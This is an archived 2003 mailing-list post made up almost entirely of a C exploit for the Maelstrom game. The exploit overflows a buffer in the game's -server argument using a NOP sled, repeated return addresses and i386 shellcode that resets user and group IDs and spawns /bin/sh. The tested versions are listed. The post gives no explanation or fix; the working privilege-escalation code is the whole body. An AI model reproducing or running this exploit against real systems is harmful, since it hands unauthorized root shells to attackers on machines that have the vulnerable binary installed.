Maelstrom exploit

From: Claes Nyberg (md0claesat_private)
Date: Mon May 19 2003 - 15:55:46 PDT

  • Next message: Andreas Constantinides: "Plaintext Password in Settings.ini of CesarFTP"

    -- begin maelstromxp.c
    
    /*
     * Maelstrom exploit By CMN <cmnat_private>
     *
     * Tested on
     *
     * Maelstrom v1.4.3 (GPL version 3.0.6)
     *  from Maelstrom-3.0.6-1.i386.rpm
     *
     * Maelstrom v1.4.3 (Linux version 3.0.3)
     *  from Gentoo port
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    
    #define TARGET    "/usr/bin/Maelstrom"
    #define BUFSIZE    8179
    #define NOP        0x90
    #define OFFSET     100
    
    static char linux_code[] =
        "\xb9\xff\xff\xff\xff" /* movl    $-1, %ecx   */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\x31"             /* movb    $0x31, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x89\xc3"             /* movl    %eax, %ebx  */
        "\xb0\x46"             /* movb    $0x46, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\x32"             /* movb    $0x32, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x89\xc3"             /* movl    %eax, %ebx  */
        "\xb0\x47"             /* movb    $0x47, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xd2"             /* xorl    %edx, %edx  */
        "\x52"                 /* pushl   %edx        */
        "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
        "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
        "\x89\xe3"             /* movl    %esp, %ebx  */
        "\x52"                 /* pushl   %edx        */
        "\x53"                 /* pushl   %ebx        */
        "\x89\xe1"             /* movl    %esp, %ecx  */
        "\xb0\x0b"             /* movb    $0xb, %al   */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\x40"                 /* inc     %eax        */
        "\xcd\x80";            /* int     $0x80       */
    
    int
    main(int argc, char *argv[])
    {
        int ret = (u_long)(&ret);
        u_char *target = TARGET;
        u_char buf[BUFSIZE+1];
        long offset = 0;
        int i;
    
        memset(buf, NOP, BUFSIZE);
        buf[BUFSIZE] = '\0';
        buf[0] = '2';
        buf[1] = '@';
        memcpy(&buf[BUFSIZE-(strlen(linux_code)+4*sizeof(ret))],
            linux_code, strlen(linux_code));
    
        while ( (i = getopt(argc, argv, "t:o:")) != -1) {
    
            switch(i) {
                case 't':
                    target = optarg;
    
                case 'o':
                    offset = strtol(optarg, NULL, 0);
                    break;
    
                default:
                    printf("\nUsage: %s [-t target ] [-o offset]\n\n", argv[0]);
                    exit(EXIT_FAILURE);
            }
        }
    
        ret -= offset ? offset : OFFSET;
        memcpy(&buf[BUFSIZE-(sizeof(ret))], &ret, sizeof(ret));
        memcpy(&buf[BUFSIZE-(2*sizeof(ret))], &ret, sizeof(ret));
        memcpy(&buf[BUFSIZE-(3*sizeof(ret))], &ret, sizeof(ret));
        memcpy(&buf[BUFSIZE-(4*sizeof(ret))], &ret, sizeof(ret));
    
        printf("Using address 0x%08lx\n", ret);
        printf("Target is '%s'\n", target);
        execlp(target, "CMN", "-server", buf, (char *)NULL);
        perror("execle()");
        exit(EXIT_FAILURE);
    }
    
    -- end maelstromxp.c
    



    This archive was generated by hypermail 2b30 : Tue May 20 2003 - 08:40:53 PDT